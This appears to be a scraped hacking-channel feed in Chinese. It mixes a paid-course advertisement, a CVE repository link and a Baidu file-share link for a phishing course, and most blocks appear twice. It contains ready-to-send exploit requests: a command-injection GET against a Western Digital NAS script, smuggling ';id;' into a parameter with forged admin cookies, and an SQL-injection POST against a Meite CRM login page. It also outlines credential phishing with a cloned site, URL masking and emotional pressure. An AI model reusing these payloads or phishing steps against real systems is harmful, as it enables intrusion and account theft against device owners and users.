Channel name was changed to «web安全/黑客教程｜技术学习/逆向工程 web渗透｜黑客｜远控免杀｜kaliLinux渗透»
为什么会从2980降价到1980❓
没错，我们就是为了赚钱，但我们也渴望更多的人在疾风速客拿到结果[得意]你相信我，【疾风速客】会成为你收获成功的绝佳助力，不相信我，我们彼此也都没有什么损失。
没错，我们就是为了赚钱，但我们也渴望更多的人在疾风速客拿到结果[得意]你相信我，【疾风速客】会成为你收获成功的绝佳助力，不相信我，我们彼此也都没有什么损失。
西部数据 NAS chk_vv_sharename.php 远程命令执行漏洞
GET /web/php/chk_vv_sharename.php?vv_sharename=";id;" HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15
Connection: keep-alive
Cookie: isAdmin=1; username=admin;
Accept-Encoding: gzip, deflate, br
GET /web/php/chk_vv_sharename.php?vv_sharename=";id;" HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Safari/605.1.15
Connection: keep-alive
Cookie: isAdmin=1; username=admin;
Accept-Encoding: gzip, deflate, br
美特CRM mcc_login.jsp SQL注入漏洞
POST /si/callcenter/solarun/mcc_login.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (SS; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Content-Length: 42
Content-Type: application/x-www-form-urlencoded ; application/x-www-form-urlencoded
Expires: 0
Pragma: no-cache
Accept-Encoding: gzip
workerid=1'&passwd=abc123def&rtype=call400
POST /si/callcenter/solarun/mcc_login.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (SS; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Content-Length: 42
Content-Type: application/x-www-form-urlencoded ; application/x-www-form-urlencoded
Expires: 0
Pragma: no-cache
Accept-Encoding: gzip
workerid=1'&passwd=abc123def&rtype=call400
编号: CVE-2025-5419
访问地址: https://github.com/itsShotgun/chrome_cve-2025-5419...
描述: Checks if your Chrome version is vulnerable to CVE-2025-5419, from the browser
[注意：新的CVE仓库，请自行分辨是否为红队钓鱼]
访问地址: https://github.com/itsShotgun/chrome_cve-2025-5419...
描述: Checks if your Chrome version is vulnerable to CVE-2025-5419, from the browser
[注意：新的CVE仓库，请自行分辨是否为红队钓鱼]
课程主题：《公开课：社会工程之使用钓鱼盗取任意账号密码》
课程内容：
介绍了钓鱼攻击，这是一种通过社会工程手段欺骗人们泄露个人信息和凭证的攻击方法。攻击者会创建看似合法的网站或通信，诱骗用户输入敏感信息。钓鱼攻击针对的是人的心理弱点，而非技术漏洞，因此即使是最安全的系统也可能被攻破。
为了演示钓鱼攻击的过程，1使用Kali Linux操作系统和SE工具包创建了一个克隆网站。
2并通过URL屏蔽技术使其看起来更合法。
3攻击者还会使用紧迫感或兴奋感的术语来操纵情绪，以增加欺骗性。
如何防范：
为了保护自己和信息安全，1建议用户在输入凭证前验证URL，2使用双因素身份验证，保持系统和浏览器更新，并安装反钓鱼保护软件。此外，要警惕未经请求的通信，询问个人信息，并学会识别钓鱼的迹象。
声明：
最后，强调知识和责任的重要性，提醒观众用所学知识保护自己，永远不要造成伤害。
课程内容：
介绍了钓鱼攻击，这是一种通过社会工程手段欺骗人们泄露个人信息和凭证的攻击方法。攻击者会创建看似合法的网站或通信，诱骗用户输入敏感信息。钓鱼攻击针对的是人的心理弱点，而非技术漏洞，因此即使是最安全的系统也可能被攻破。
为了演示钓鱼攻击的过程，1使用Kali Linux操作系统和SE工具包创建了一个克隆网站。
2并通过URL屏蔽技术使其看起来更合法。
3攻击者还会使用紧迫感或兴奋感的术语来操纵情绪，以增加欺骗性。
如何防范：
为了保护自己和信息安全，1建议用户在输入凭证前验证URL，2使用双因素身份验证，保持系统和浏览器更新，并安装反钓鱼保护软件。此外，要警惕未经请求的通信，询问个人信息，并学会识别钓鱼的迹象。
声明：
最后，强调知识和责任的重要性，提醒观众用所学知识保护自己，永远不要造成伤害。
课程主题：《公开课：社会工程之使用钓鱼盗取任意账号密码》
通过网盘分享的文件：安全·公开课
链接: https://pan.baidu.com/s/1ES9qiYfCBaIqQjKJLYkD2w 提取码: y22c
--来自百度网盘超级会员v4的分享
通过网盘分享的文件：安全·公开课
链接: https://pan.baidu.com/s/1ES9qiYfCBaIqQjKJLYkD2w 提取码: y22c
--来自百度网盘超级会员v4的分享
Baidu
百度网盘 请输入提取码
百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固，支持教育网加速，支持手机端。注册使用百度网盘即可享受免费存储空间